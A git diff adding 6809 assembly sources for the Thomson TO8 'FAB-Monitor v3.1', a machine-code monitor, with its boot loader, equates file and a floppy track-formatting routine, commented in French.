+ BCC *+3
+ INCA
+DTODEC PSHS X,D
+ LDD #0
+ LDX ,S
+ CMPX #100
+ BLO *+8
+ LEAX -100,X
+ INCB
+ BRA *-9
+ TSTB
+ BNE *+6
+ LDB #32
+ BRA *+5
+ ADDB #'0
+ DECA
+ STB ,U+
+ CLRB
+ CMPX #10
+ BLO *+7
+ LEAX -10,X
+ INCB
+ BRA *-8
+ TSTB
+ BNE *+9
+ TSTA
+ BNE *+6
+ LDB #32
+ BRA *+4
+ ADDB #'0
+ STB ,U+
+ TFR X,D
+ ADDB #'0
+ STB ,U+
+ PULS D,X,PC
+
+ATOHEX PSHS X,A convertit A
+ LDX #HEXA en hexa et met le
+ LSRA résultat dans
+ LSRA la ligne courante.
+ LSRA (pointée par U)
+ LSRA
+ LDA A,X
+ STA ,U+
+ PULS A
+ ANDA #15
+ LDA A,X
+ STA ,U+
+ PULS X,PC
+HEXA FCC "0123456789ABCDEF"
+
+DA2HEX PSHS X,B,A convertit A
+ LDX #HEXA en hexa et affiche
+ LSRA le résultat à
+ LSRA l'écran
+ LSRA
+ LSRA
+ LDB A,X
+ BSR PUTC
+ LDA ,S
+ ANDA #15
+ LDB A,X
+ BSR PUTC
+ PULS A,B,X,PC
+
+PUTC PSHS U,X,D
+ CMPB #32 CHR$ affichable ?
+ BGE *+4
+ LDB #'.
+ LDX <CURSOR position courante
+ CMPX <BOTTOM est trop en bas ?
+ BLO FSCROL
+ PSHS X,Y,B monte écran d'1 lg
+ STS POPS+2
+ LDS #$4000+320 source
+ LDU #$4006 destination
+SCROLL PULS X,Y,D segment 1
+ PSHU D,Y,X
+ LEAU 12,U
+ PULS X,Y,D segment 2
+ PSHU D,Y,X
+ LEAU 12,U
+ PULS X,Y,D segment 3
+ PSHU D,Y,X
+ LEAU 12,U
+ PULS X,Y,D segment 4
+ PSHU D,Y,X
+ LEAU 12,U
+ PULS X,Y,D segment 5
+ PSHU D,Y,X
+ LEAU 12,U
+ PULS X,Y,D segment 6
+ PSHU D,Y,X
+ LEAU 10,U
+ PULS X,Y segment +
+ PSHU Y,X
+ LEAU 10,U
+ CMPU #$4006+184*40 bas fenêtre?
+ BLO SCROLL
+POPS LDS #0 récupère la pile
+ PULS B,Y,X
+ LEAX -320,X
+FSCROL LDU #FONTS cherche le dessin
+ LDA #8 du caractère B
+ SUBB #32
+ MUL
+ LEAU D,U
+ PULU D lignes 6 et 7
+ STA 160,X
+ STB 120,X
+ PULU D lignes 4 et 5
+ STA 80,X
+ STB 40,X
+ PULU D lignes 2 et 3
+ STA ,X+
+ STB -41,X
+ PULU D lignes 0 et 1
+ STA -81,X
+ STB -121,X
+ LDA <XPOS nouvelle abscisse
+ INCA
+ CMPA #40
+ BLO *+7
+ CLRA et position écran
+ LEAX 280,X le curseur
+ STA <XPOS
+ STX <CURSOR nouvelle position
+ LDA <CLIGNO
+ BEQ EOPUTC
+ STA 160,X
+ STA 120,X
+ STA 80,X
+ STA 40,X
+ STA ,X
+ STA -40,X
+ STA -80,X
+ STA -120,X
+EOPUTC PULS D,X,U,PC à l'écran
+
+
+IPIHEX LDX #CHKHEX
+ STX <INPCHK
+ LDX #VALHEX
+ STX <INPVAL
+ TSTA
+ RTS
+
+DIPUT4 LEAU ,Y
+DIPUT3 LDB ,U+
+ JSR PUTC
+ CMPB #':
+ BNE DIPUT3
+ LDB ,U+
+ JSR PUTC
+ LEAY A,U
+ BRA INPUT
+DIPUT2 LEAU ,Y
+DINPUT LDB ,U+
+ JSR PUTC
+ CMPB #'$
+ BNE DINPUT
+ LEAY A,U
+INPUT PSHS X,B
+ STA <NBDGIT sauve nbre digits
+ LDX <CURSOR
+ CLRA
+IPKEYB JSR GETC
+ CMPB #30 flèche Recommence
+ BEQ *+6
+ CMPB #8 flèche Backspace
+ BNE IP1
+IPDEL TSTA déjà au début !
+ BEQ IPKEYB
+ PSHS A,B
+ LDX <CURSOR
+ LEAX -1,X recule d'un car
+ DEC <XPOS
+ LDD #$FF00 et affiche curseur
+ STD 160,X
+ STD 120,X
+ STD 80,X
+ STD 40,X
+ STD ,X
+ STD -40,X
+ STD -80,X
+ STD -120,X
+ PULS B,A
+ DECA
+ CLR ,-U
+ STX <CURSOR
+ CMPB #30
+ BNE IPKEYB
+ BRA IPDEL
+IP1 CMPB #2 touche Stop
+ BNE IP2
+ CMPA <NBDGIT
+ BHS *+4
+ CLR ,U saisie interrompue
+ CLRA
+ PULS X,B,PC
+IP2 CMPB #13 touche Entrée
+ BNE IP3
+ TSTA rien du tout entré
+ BEQ IPKEYB non valide !
+ CMPA <NBDGIT
+ BEQ *+4
+ CLR ,U
+ STA <NBDGRL
+ JMP [DIR*256+INPVAL]
+IP3 CMPB #11 touche historique
+ BNE IP4
+ TSTA
+ BNE IPKEYB
+IPROPO LDB ,U affiche la valeur
+ BEQ IPKEYB par défaut
+ JSR PUTC (i.e: l'ancienne)
+ LEAU 1,U
+ INCA
+ CMPA <NBDGIT
+ BNE IPROPO
+ BRA IPKEYB
+IP4 CMPB #$90 touches fonctions
+ BLO IP5
+ CMPB #$99
+ BHI IP5
+ LDX #F1F5BF
+ ASLB
+ ASLB
+ ASLB
+ ASLB
+ CMPB #$40
+ BHI MEMOFK
+ TSTA
+ LBNE IPKEYB
+ ABX
+AFFFKM LDB ,X+ restitue mémoire
+ JSR [DIR*256+INPCHK]
+ LBEQ IPKEYB
+ STB ,U
+ JSR PUTC
+ LEAU 1,U
+ INCA
+ CMPA <NBDGIT
+ BNE AFFFKM
+ JMP IPKEYB
+MEMOFK SUBB #$50
+ ABX
+ LEAX A,X
+ CMPA #16
+ BEQ *+4
+ CLR ,X
+ TSTA
+ BEQ IP5-3
+ PSHS U,A
+MEMFKM LDB ,-U
+ STB ,-X
+ DECA
+ BNE MEMFKM
+ PULS A,U
+ JMP IPKEYB
+IP5 JSR [DIR*256+INPCHK]
+ LBEQ IPKEYB non affichable
+ CMPA <NBDGIT au bout à droite ?
+ BLO IPECHO pas encore...
+ LEAU -1,U
+ LDX <CURSOR
+ LEAX -1,X
+ STX <CURSOR
+ DEC <XPOS précompensation
+ DECA
+IPECHO STB ,U+
+ JSR PUTC
+ INCA
+ JMP IPKEYB
+
+CHKSOP TSTA
+ BNE *+8
+ CMPB #'"
+ BNE CHKHEX
+ TSTB
+ RTS
+ PSHS D
+ TFR A,B
+ NEGB
+ SEX
+ LDA D,U
+ CMPA #'"
+ PULS D
+ BEQ CHKASC
+
+CHKHEX CMPB #$60 lettre minuscule ?
+ BLO *+4
+ ANDB #$DF
+ CMPB #'0 valeur hexa ?
+ BLO NCHKHX
+ CMPB #'F
+ BHI NCHKHX
+ CMPB #':
+ BLO *+7
+ CMPB #'@
+ BHI *+3
+NCHKHX CLRB NO: non hexa
+ TSTB YES: affichable
+ RTS
+
+CHKASC CMPB #32 caractère ASCII ?
+ BLO *+6
+ CMPB #128
+ BLO *+3
+ CLRB
+ TSTB
+ RTS
+
+CHKMOD CMPB #'0 mode d'affichage ?
+ BLO *+6
+ CMPB #'5
+ BLO *+3
+ CLRB
+ TSTB
+ RTS
+
+CHKBOL CMPB #'0 chiffre booléen ?
+ BLO *+6
+ CMPB #'2
+ BLO *+3
+ CLRB
+ TSTB
+ RTS
+
+CHKFIL CMPB #32 lettre pouvant
+ BLO NCHKFI figurer dans le
+ CMPB #127 nom d'un fichier
+ BHI NCHKFI
+ CMPB #':
+ BEQ NCHKFI
+ CMPB #'.
+ BEQ NCHKFI
+ CMPB #'(
+ BEQ NCHKFI
+ CMPB #')
+ BEQ NCHKFI
+ CMPB #'"
+ BNE *+3
+NCHKFI CLRB
+ RTS
+
+CHKFTY ANDB #$DF minus -> majuscule
+ CMPB #'B BASIC
+ BEQ FTYPOK
+ CMPB #'D DATAS
+ BEQ FTYPOK
+ CMPB #'M MACHINE
+ BEQ FTYPOK
+ CMPB #'A ASSEMBLY
+ BEQ FTYPOK
+ CLRB
+FTYPOK TSTB
+ RTS
+
+CHKDTY ANDB #$DF minus -> majuscule
+ CMPB #'A ASCII
+ BEQ DTYPOK
+ CMPB #'B BINARY
+ BEQ DTYPOK
+ CLRB
+DTYPOK TSTB
+ RTS
+
+VALFTY LDX #FTYPSL
+ LDA #$FF
+ LDB ,-U
+ INCA
+ CMPB ,X+
+ BNE *-3
+ STA ,S
+ LDA #-1
+ PULS B,X,PC
+FTYPSL FCC "BDMA"
+
+
+VALDTY LDB ,-U la valeur est à
+ SUBB #'B lire dans B !!!
+ STB ,S $FF=ASCII;0=Binary
+ LDA #-1 code retour = OK
+ PULS B,X,PC
+
+
+VALREG PSHS A,X,U,Y
+ CMPA #1 une seule lettre ?
+ BHI *+6
+ LDB #32 1ère lettre=espace
+ BRA *+4
+ LDB ,-U registre sur 2 CHR
+ LDA ,-U
+ CMPB #32 1 lettre+1 espace?
+ BNE *+4
+ EXG A,B
+ TFR D,X
+ LDU #LRGEQU
+ LDY #DIR*256+REGIST-2 où modif
+RGEFND CMPX ,U++ cherche registre
+ BNE *+8 sollicité
+ LEAS 7,S "dépile" A,X,U,Y
+ LDA #-1 code retour=OK
+ PULS B,X,PC
+ LDB ,U+ code de longueur
+ SEX
+ LEAY D,Y
+ CMPU #REGTXT
+ BLO RGEFND
+ PULS A,X,U,Y
+ JMP IPKEYB
+
+VALZAP PSHS U,A
+ LDX #ZAPRET "empile" PC,X et B
+ PSHS X,DP,B,A
+ JMP VALHEX
+ZAPRET CMPU #$5FEC
+ BLO BADZAP
+ CMPU #$DFFF
+ BHI BADZAP
+ LEAS 3,S "dépile" A,U
+ PULS B,X,PC
+BADZAP PULS A,U
+ JMP IPKEYB
+
+VALBNK CMPA #1
+ BEQ VALHEX
+ LDB -2,U si No Bank >= $20
+ CMPB #'2 c'est inacceptable
+ BLO VALHEX
+ JMP IPKEYB
+
+VALSOP PSHS D
+ TFR A,B
+ NEGB
+ SEX
+ LDA D,U
+ CMPA #'"
+ PULS D
+ BNE VALHXP
+ DECA
+ LBEQ IPKEYB
+ DEC <NBDGRL
+ CLR ,S B=0 -> VALchaîne "
+
+VALASC LDB ,-U U doit pointer le
+ DECA début de chaîne
+ BNE *-3
+ LDA <NBDGRL code retour=OK
+ PULS B,X,PC
+
+VALHXP BITA #1 nb digits pair ?
+ LBNE IPKEYB non: inacceptable!
+
+VALHEX LDX #HWINDW
+ CLR -2,X conver ASCII->hexa
+ LDB ,-U de droite à gauche
+ SUBB #'0
+ CMPB #10
+ BLO *+4
+ SUBB #7
+ STB ,-X poids faible
+ DECA
+ BEQ EOINPT
+ LDB ,-U de droite à gauche
+ SUBB #'0
+ CMPB #10
+ BLO *+4
+ SUBB #7
+ ASLB
+ ASLB
+ ASLB
+ ASLB
+ ADDB ,X
+ STB ,X poids fort
+ DECA
+ BNE VALHEX+5
+EOINPT LDA <NBDGIT
+ CMPA #4 saisie longue ?
+ BHI *+7
+ LDU HWINDW-2 non:U=valeur
+ BRA *+4
+ LEAU ,X oui:U=&(valeur)
+ LDA <NBDGRL (CC): Z = 0
+ PULS X,B,PC code retour: A>0
+ * buffer calcul val.
+ FDB 0,0,0,0,0,0,0,0
+HWINDW CLR <CLIGNO ne pas séparer !!!
+ LDB #32
+ JSR PUTC
+ LDX <WRKCSR active la fenêtre
+ STX <CURSOR supérieure
+ LDX #SCREEN+24*320
+ STX <BOTTOM
+ CLR <XPOS
+ TSTA
+ RTS
diff --git a/code/3rdparty/sources2-hcl/FORMAT.ASM b/code/3rdparty/sources2-hcl/FORMAT.ASM
new file mode 100644
index 0000000..5407c9d
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/FORMAT.ASM
@@ -0,0 +1,226 @@
+FTRACK EQU 01 première piste
+LTRACK EQU 04 dernière piste
+SECTOR EQU 10 secteurs par piste
+SIZE EQU 2 256oct par secteur
+LACE EQU 1 entrelacement
+
+ ORG $9800
+FORMAT PSHS CC,A,B,DP,X,Y,U
+ ORCC #$50
+ JSR >$E09D init DP, X et <4E
+ JSR >$E0A7 allume la LED
+ LDA #FTRACK
+ STA <$4B
+ JSR >$E45A lance le moteur
+ BCS RETURN
+ JSR >$E134 positionne piste 0
+ BCS RETURN
+ JSR >$E521 attente
+ BCS RETURN
+ JSR >$E452 avance jusqu'à la
+ BCS RETURN piste de départ
+
+ BSR SECLST liste secteurs
+NXTTRK BSR IDENTF
+ LDX #$E7D0
+ JSR >$E45A
+ BSR ONETRK formate une piste
+ LDA <$4B
+ INCA
+ STA <$4B
+ CMPA #LTRACK+1
+ BEQ RETURN
+ JSR >$E47A
+ BRA NXTTRK
+RETURN JMP >$E08A
+
+SECLST LDX #BUFFER construit la
+ LDB #SECTOR liste des secteurs
+ CLR ,X+ sur chaque piste
+ DECB d'après la valeur
+ BNE *-3 de l'entrelacement
+
+ LDX #BUFFER
+ LDA #1 secteur courant
+ LDB #LACE
+INSSEC STA ,X insère le secteur
+ LEAX B,X dans la liste
+ INCA
+ CMPA #SECTOR casé tous secteurs
+ BHI LISTOK => fin du parcours
+NXTNOD CMPX #BUFFER+SECTOR
+ BLO NOMODU
+ LEAX -SECTOR,X modulo SECTOR
+NOMODU TST ,X place libre dans
+ BEQ INSSEC la liste => case !
+ LEAX 1,X
+ BRA NXTNOD ...cherche place
+LISTOK RTS
+
+
+IDENTF LDX #BUFFER prépare les champs
+ LDU #BUFFER+SECTOR
+IDNSEC LDB ,X+ d'identification
+ BEQ IDEND
+ LDA <$4B
+ STA ,U numéro de piste
+ LDA <$49
+ ANDA #1
+ STA 1,U numéro de face
+ STB 2,U numéro de secteur
+ LDY #4
+ LDA #SIZE
+ STA 3,U longueur secteur
+ LDD #$B230
+ JSR >$E364
+ STD ,U++ contrôle CRC
+ BRA IDNSEC
+IDEND RTS
+
+
+******** Champ d'identification ********
+
+ONETRK LDA #SECTOR
+ PSHS A
+ LDU #BUFFER+SECTOR
+ JSR >$E341
+INDEX LDB 1,X
+ BITB #$40 détection d'index
+ BEQ INDEX
+ LDB 3,X lecture en RDATA
+ LDB ,X
+ BPL *-4
+ LDB ,X
+ BPL *-2
+ LDD #$48FF configuration =
+ STD 3,X mots de données 48
+ LDB #4
+ STB ,X autorisation Write
+
+ LDA #22
+H22X48 LDB ,X
+ BPL *-2
+ LDB #$48 écrit 22 fois $48
+ STB 3,X
+ DECA
+ BNE H22X48 (@ ESPACES)
+
+ONESEC
+ LDA #12
+I12X00 LDB ,X
+ BPL *-2
+ CLR 3,X écrit 12 fois $00
+ DECA
+ BNE I12X00 (@ SYNCRO BITS)
+
+ LDB ,X
+ BPL *-2
+ LDD #$A10A configuration =
+ STD 3,X mots de syncro A1
+ LDB ,X
+ BPL *-2
+ STA 3,X écrit 3 fois $A1
+ LDB ,X
+ BPL *-2
+ STA 3,X (@ SYNCRO CARACTR)
+
+ LDB ,X
+ BPL *-2
+ LDD #$FEFF configuration =
+ STD 3,X mots de données FE
+ LDA #6
+WIDENT LDB ,X écrit $FE et les
+ BPL *-2 6 octets du champs
+ LDB ,U+ identification
+ STB 3,X (numéro piste,face
+ DECA secteur,longueur,
+ BNE WIDENT contrôle CRC)
+
+ LDA #22
+C22X43 LDB ,X
+ BPL *-2
+ LDB #$43 écrit 22 fois $43
+ STB 3,X
+ DECA
+ BNE C22X43 (@ ESPACES)
+
+
+*********** Champ de données ***********
+
+ LDA #12
+D12X00 LDB ,X
+ BPL *-2
+ CLR 3,X écrit 12 fois $00
+ DECA
+ BNE D12X00 (@ SYNCRO BITS)
+
+ LDB ,X
+ BPL *-2
+ LDD #$A10A configuration =
+ STD 3,X mots de syncro A1
+ LDB ,X
+ BPL *-2
+ STA 3,X écrit 3 fois $A1
+ LDB ,X
+ BPL *-2
+ STA 3,X
+ LDB ,X
+ BPL *-2 (@ SYNCRO CARACTR)
+
+ LDD #$72FF configuration =
+ STD 3,X mots de données 72
+* (@ ADR DEBUT DONN)
+ LDY #SIZE*256
+ PSHS U
+ LDU >DATAS
+FILLSC LDB ,X
+ BPL *-2
+ LDA ,U+
+ STA 3,X remplit le secteur
+ LEAY -1,Y
+ BNE FILLSC (@ DONNEES)
+ CMPU #$E000
+ BNE *+5
+ LDU #$4000
+ STU >DATAS
+ PULS U
+
+ LDB ,X
+ BPL *-2
+ LDB #'L écrit $2B
+ STB 3,X
+ LDB ,X
+ BPL *-2 écrit $F6
+ LDB #'o
+ STB 3,X (@ CONTROLE CRC)
+
+ LDA #23
+L22X4C LDB ,X
+ BPL *-2
+ LDB #$4C écrit 22 fois $4C
+ STB 3,X
+ DECA
+ BNE L22X4C (@ ESPACES)
+
+
+
+ DEC ,S
+ LBNE ONESEC secteur suivant
+
+INDEXF LDA 1,X détection d'index
+ BITA #$40
+ BNE ENDTRK -> piste suivante
+ LDA ,X
+ BPL *-2 remplit de $4E
+ STB 3,X jusqu'à la fin de
+ BRA INDEXF la piste
+ENDTRK PULS A
+ CLR ,X opération = RESET
+ RTS
+
+DATAS FDB $A000
+
+BUFFER RMB SECTOR
+ RMB 6*SECTOR
+
+ END
diff --git a/code/3rdparty/sources2-hcl/FabMonitor/EQUATES.ASM b/code/3rdparty/sources2-hcl/FabMonitor/EQUATES.ASM
new file mode 100644
index 0000000..8b81e30
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/FabMonitor/EQUATES.ASM
@@ -0,0 +1,98 @@
+****************************************
+* FAB Monitor v3.1 *
+****************************************
+** Fichier des définitions d'EQUates. **
+
+PCRTAD EQU $5FFC retour indirection
+SCREEN EQU $4078 mémoire écran
+MYGETC EQU $5FE9 indirection source
+FONTS EQU $3300 police caractères
+GETC EQU $4B55 lecture caractère
+CODE EQU $0000 début du programme
+F1F5BF EQU $36B0 mémoires de INPUT
+FAT EQU $3700 buffer disque FAT
+CATALG EQU $3800 buffer disque DIR
+IOZONE EQU $3900 buffer disque DATA
+MNEMO1 EQU $3A00 commandes simples
+MNEMO2 EQU $3D7E "" complexes(10)
+MNEMO3 EQU $3E24 "" complexes(11)
+LINE EQU $3E44 la ligne courante
+DIR EQU $3F page directe pour
+Z EQU 0 pile et variables
+CMPT EQU Z compteur standard
+XPOS EQU Z+2 abscisse curseur
+CLIGNO EQU Z+3 =$FF si curseur ON
+CURSOR EQU Z+4 position à l'écran
+WRKCSR EQU Z+6 curseur grande fen
+BOTTOM EQU Z+8 bas de la fenêtre
+DMPBYT EQU Z+10 début du DUMP hexa
+FIRBYT EQU Z+12 débt désassemblage
+REGIST EQU Z+28+1 15 o:les registres
+
+DKOPC EQU Z+29 code opération DSK
+DKDRV EQU Z+30 face du disk (0/1)
+DKTRK EQU Z+31 piste
+DKSEC EQU Z+32 secteur
+DKBUF EQU Z+33 adresse buffer DSK
+TRACK EQU Z+35 position tête disk
+DKTMP EQU Z+36 registre tampon
+
+* lecture d'une chaîne:
+NBDGIT EQU Z+36 nbre max de digits
+NBDGRL EQU Z+37 nb digits utilisés
+INPCHK EQU Z+38 &(test CHR valide)
+INPVAL EQU Z+40 &(calcul Val-Ret)
+CODCDD EQU Z+42 mode d'affichage*3
+C3E4 EQU Z+45 registres E7C3/E4
+* désassemblage et dump:
+CURBYT EQU Z+128 l'octet à traiter
+OPCODE EQU Z+130 code instruction
+ADRMOD EQU Z+132 mode d'adressage
+* remplissage/copie mémoire:
+FILBEG EQU Z+128 début de la zone
+FILEND EQU Z+130 fin zone à remplir
+COPBEG EQU Z+128 début zone source
+COPEND EQU Z+130 fin zone source
+* exécution sous-routine:
+STKBAK EQU Z+128 sauvegarde la pile
+SUBADR EQU Z+130 adresse exécution
+* recherche:
+SRLEN EQU Z+128 longueur de chaîne
+* sauvegarde d'une image au format PPM:
+IMABNK EQU Z+138 bank courante
+IS4080 EQU Z+139 flag =0 si 40 cols
+CMPTLH EQU Z+140 compteurs Lrg/Haut
+HIGADR EQU Z+142 adresse écran lig0
+* fichiers sur disquette:
+LSHIFT EQU Z+128 décalage à la lect
+LASTBK EQU Z+130 flag: dernier bloc
+LASTSC EQU Z+131 flag: "" secteur
+BYLASE EQU Z+132 nb octets du der."
+
+BEGADR EQU Z+130 adresse début ""
+EXEADR EQU Z+132 adresse exécution
+FATPTR EQU Z+134 0-159:bloc cour.+1
+DIRSEC EQU Z+135 secteur à modifier
+DIRPTR EQU Z+136 entrée dans CATALG
+FILETY EQU Z+144 type du fichier
+DATATY EQU Z+145 type des données
+FILSIZ EQU Z+146 taille du fichier
+* affichage du catalogue:
+VIWTMP EQU Z+128 tampons pour les
+VWTMP2 EQU Z+130 calculs > 16 bits.
+FILEN EQU Z+132 Nb blocs utilisés
+
+
+
+ ORG DIR*256+XPOS
+ FDB 0,SCREEN,SCREEN
+ FDB SCREEN+24*320,G,G
+ FCB 9
+ ORG DIR*256+INPCHK
+ FDB CHKHEX,VALHEX
+ ORG F1F5BF
+ FDB 0,0,0,0,0,0,0,0
+ FDB 0,0,0,0,0,0,0,0
+ FDB 0,0,0,0,0,0,0,0
+ FDB 0,0,0,0,0,0,0,0
+ FDB 0,0,0,0,0,0,0,0
diff --git a/code/3rdparty/sources2-hcl/FabMonitor/FABBOOT.ASM b/code/3rdparty/sources2-hcl/FabMonitor/FABBOOT.ASM
new file mode 100644
index 0000000..e123b95
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/FabMonitor/FABBOOT.ASM
@@ -0,0 +1,59 @@
+****************************************
+* BOOT / FAB-Monitor *
+****************************************
+
+ ORG $6200
+
+ ORCC #80 stop interruptions
+ LDS #$60CC init. pile système
+ LDX #$6280 charge le menu
+ LDY #$0002 (secteur 00.02)
+ LDD #$4158 exécution finale
+ PSHS D
+ LDD #$0700 (face0;7 secteurs)
+ BSR DISK
+ LDD >$6286
+ JMP D,X
+ FCC " "
+ FCC "FAB-Monitor v3.1 / BOOT "
+ FCC " (c) by Laurent Hiriart "
+ FCC " "
+
+DISK LDU #$6048
+ STB 1,U face : B
+ LDB #2
+ STB ,U
+ STY 3,U piste.secteur : Y
+ STX 7,U buffer : X
+ LDB 4,U secteur -> B
+CHARGE JSR $E004
+ BCS CHARGE
+ CMPB #16 fin piste ?
+ BNE NXTSEC
+ INC 3,U
+ CLRB
+NXTSEC INCB
+ STB 4,U
+ INC 7,U
+ DECA
+ BNE CHARGE
+ RTS
+
+****************************************
+* Valeur-test: "BASIC2.." complémenté: *
+****************************************
+
+ FDB $BEBF,$ADB7,$BDCE,$A200
+
+* 128 octets de texte :
+
+ FCC "----------------"
+ FCC "FAB-Monitor v3.1"
+ FCC "----------------"
+ FCC "Distribue par : "
+ FCC "ASCI, 365 Chemin"
+ FCC " des Montants, "
+ FCC " 54690 EULMONT "
+ FCC "Tel: 83.22.84.14"
+
+ END
diff --git a/code/3rdparty/sources2-hcl/FabMonitor/FABMON.ASM b/code/3rdparty/sources2-hcl/FabMonitor/FABMON.ASM
new file mode 100644
index 0000000..0d52371
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/FabMonitor/FABMON.ASM
@@ -0,0 +1,716 @@
+**** Fichier principal (Programme). ****
+
+ INCLUD EQUATES
+
+ ORG CODE
+ STA KOMBAC+1
+ LDX #$5FEF exécuté au RESET:
+ STX >$600A ->indirection GETC
+ LDB #$20
+ STB >$5FFB ->rétablit le saut
+ BRA KOMBAC
+ FCC " FAB-Mon v3.1 "
+
+G STA KOMBAC+1
+ PULS CC,A,B
+ JSR GETC
+ PSHS B,A,CC
+ CMPB #'Z-64 CNT-Z appuyé ?
+ BEQ *+10
+KOMBAC LDD #$00E7
+ TFR B,DP
+ JMP PCRTAD
+
+*** sauvegarde des registres du 6809
+ ORCC #80
+ STA DIR*256+REGIST-15 ($E7E6)
+ LEAS 4,S
+ PULS D adresse retour
+ STD DIR*256+REGIST-2
+ STS DIR*256+REGIST-14 pile S
+ LEAS -6,S
+ PULS A registre CC
+ STA DIR*256+REGIST-12
+ PULS A,B,DP registres A,B,DP
+ LDS #DIR*256+REGIST-2
+ PSHS U,Y,X,DP,B,A
+ LDS #DIR*256+Z
+ LDA #DIR
+ TFR A,DP
+
+*** sauvegarde de la palette de couleurs
+ LDX #COLORS+32
+ JSR SYNCRO
+ LDA #16
+ CLR $E7DB
+PALSAV LDB $E7DA
+ STB 1,X
+ LDB $E7DA
+ STB ,X++
+ DECA
+ BNE PALSAV
+ LDX #NULL palettes en noir
+ JSR SETPAL
+
+*** sauvegarde de l'environnement du TO8
+ LDA $E7C3
+ LDB $E7E7
+ ANDB #1 registre E7E4
+ STD <C3E4 registre E7C3
+ ANDA #254
+ STA $E7C3
+ LDB #$54
+ STB $E7E7 gestion pages E7E5
+
+ LDA $E7E5
+ STA >*+7
+ JSR ZZZBK1 sauve écran > bank
+ LDA #0
+ STA $E7E5
+
+ LDA $605F devrait permettre
+ LDX #AFFMOD de retrouver le
+ LDB ,X+ mode d'affichage
+ CMPA ,X++
+ BEQ AFFUND
+ CMPX #COLORS
+ BNE *-9
+AFFUND LDA -1,X
+ STD <CODCDD registre E7DC
+ CLR $E7E4 et No de CONSOLE
+ LDB $E7E4
+BORDER ADDB #0 couleur du tour
+ STB <CODCDD+2 registre E7DD
+
+ LDD #0
+ STD $E7DC
+ LDA $6049 face du lecteur
+ ANDA #1
+ STA <DKDRV
+ LDB $6052 position tête Dsk0
+ STB <TRACK
+ LDX #BUFCLV
+ LDD $6079
+ STD ,X++
+ STX $6079
+ JSR FABMON
+
+* on remet tout en place et on se casse.
+
+ LDD >BUFCLV
+ STD $6079
+ LDB <TRACK position tête Dsk0
+ STB $6052
+ LDD <CODCDD+1 restaure rgistrs
+ STD $E7DC du TO8
+ LDA $E7E5
+ STA >*+7
+ JSR GBK2VW restaure
+ LDA #0 bank -> écran
+ STA $E7E5
+ LDD <C3E4
+ STA $E7C3
+ STB $E7E4
+
+ LDX #COLORS+32
+ JSR SETPAL
+ LDA $6081
+ STA $E7E7
+
+ LDS #DIR*256+REGIST-14
+ PULS Y vraie pile retour
+ PULS A,X registres CC,A,B
+ STA -6,Y
+ STX -5,Y
+ PULS A registre DP
+ STA -3,Y
+ LDX <REGIST-2
+ STX -2,Y adresse de retour
+ PULS X,Y,U
+ LDS <REGIST-14
+ LEAS -6,S
+ LDA <REGIST-15 ($E7E6)
+ JMP >KOMBAC
+
+SETPAL PSHS A,B
+ BSR SYNCRO
+ LDB #16
+ CLR $E7DB
+ LDA 1,X
+ STA $E7DA
+ LDA ,X++
+ STA $E7DA
+ DECB
+ BNE *-11
+ PULS A,B,PC
+SYNCRO LDA $E7E7 syncro basse
+ BPL *-3
+ LDA $E7E7
+ BMI *-3
+ LDB #4*45 descend encore
+ TST ,X 6 de 45 lignes
+ LDA 1,X 5
+ DECB 2
+ BNE *-5 3
+ RTS
+
+GVW2BK LDA $E7C3
+ ANDA #254
+ STA $E7C3
+ZZZBK1 LDA #0
+ STA $E7E5
+VW2BNK LDX #$A000
+ LDU #$4000
+ LDD ,U++
+ STD ,X++
+ CMPX #$C000
+ BNE *-7
+ INC $E7C3
+ LDU #$4000
+ LDD ,U++
+ STD ,X++
+ CMPX #$E000
+ BNE *-7
+ RTS
+
+GBK2VW LDA $E7C3
+ ANDA #254
+ STA $E7C3
+ZZZBK2 LDA >ZZZBK1+1
+ STA $E7E5
+BNK2VW LDX #$A000
+ LDU #$4000
+ LDD ,X++
+ STD ,U++
+ CMPX #$C000
+ BNE *-7
+ INC $E7C3
+ LDU #$4000
+ LDD ,X++
+ STD ,U++
+ CMPX #$E000
+ BNE *-7
+ RTS
+
+FABSCR LDA $E7C3
+ ANDA #254
+ STA $E7C3
+ LDX #$5F40 dessine l'écran de
+ LDD #$C1C1 FAB-Monitor v3.1
+ STD ,--X
+ CMPX #$4000+192*40
+ BHI *-5
+CMOTIF LDU #$D0D0
+ LDD #$9090
+ STU ,--X
+ STD ,--X
+ STU ,--X
+ STD ,--X
+ STU ,--X
+ LDB #$D8
+ LDA #25
+ STB ,-X
+ DECA
+ BNE *-3
+ LDB #$F0
+ LDA #5
+ STB ,-X
+ DECA
+ BNE *-3
+ CMPX #$4000
+ BHI CMOTIF
+ INC $E7C3
+ CLR ,X+
+ CMPX #$5F40
+ BLO *-5
+ LDU #SCREEN
+ STU <CURSOR
+ LDA #-1
+ STA <IMABNK
+ LDX #COLORS
+ JMP SETPAL
+
+
+* programme: FAB-Monitor v3.1
+FABMON JSR FABSCR
+CMSTRT LDX #$4000+192*40
+ LDD #0
+ STD ,X++ efface la barre de
+ CMPX #$5F40 commandes
+ BLO *-5
+ LDX <CURSOR sauve curseur haut
+ STX <WRKCSR
+ LDD #SCREEN+25*320
+ STD <BOTTOM
+ LDX #SCREEN+4+24*320
+ STX <CURSOR
+ LDA #-1
+ STA <CLIGNO
+ LDD #$43E affiche l'invite
+ STA <XPOS ">"
+ JSR PUTC
+COMMND JSR GETC lecture lettre-clé
+ CMPB #$60 lettre minuscule
+ BLO *+4
+ ANDB #$DF
+ LDX #OPTION
+QELOPT CMPB ,X+
+ BNE OPTNXT
+ LDU ,X++ la lettre est une
+ LDB ,U+ clé : affichage du
+ CMPB #'@ texte et exécution
+ BEQ *+7 de la commande
+ JSR PUTC
+ BRA *-9
+ JSR [,X]
+ERRET1 TSTA
+ BEQ CMSTRT
+ LDX #NULL palettes en noir
+ JMP SETPAL et on quitte
+OPTNXT LEAX 4,X
+ CMPX #ENDOPT
+ BLO QELOPT
+ BRA COMMND
+OPTION FCB 13
+ FDB LNFEED,OPFEED
+ FCB 12
+ FDB RAZWIN,OPRAZW
+ FCB '?
+ FDB HLPTXT,OPHELP
+ FCB '@
+ FDB ASCTXT,OPASCI
+ FCB 'A
+ FDB ABOTXT,OPABOU
+ FCB 'B
+ FDB BNKTXT,OPBANK
+ FCB 'C
+ FDB COPTXT,OPCOPY
+ FCB 'D
+ FDB DMPTXT,OPDUMP
+ FCB 'E
+ FDB JSRTXT,OPGJSR
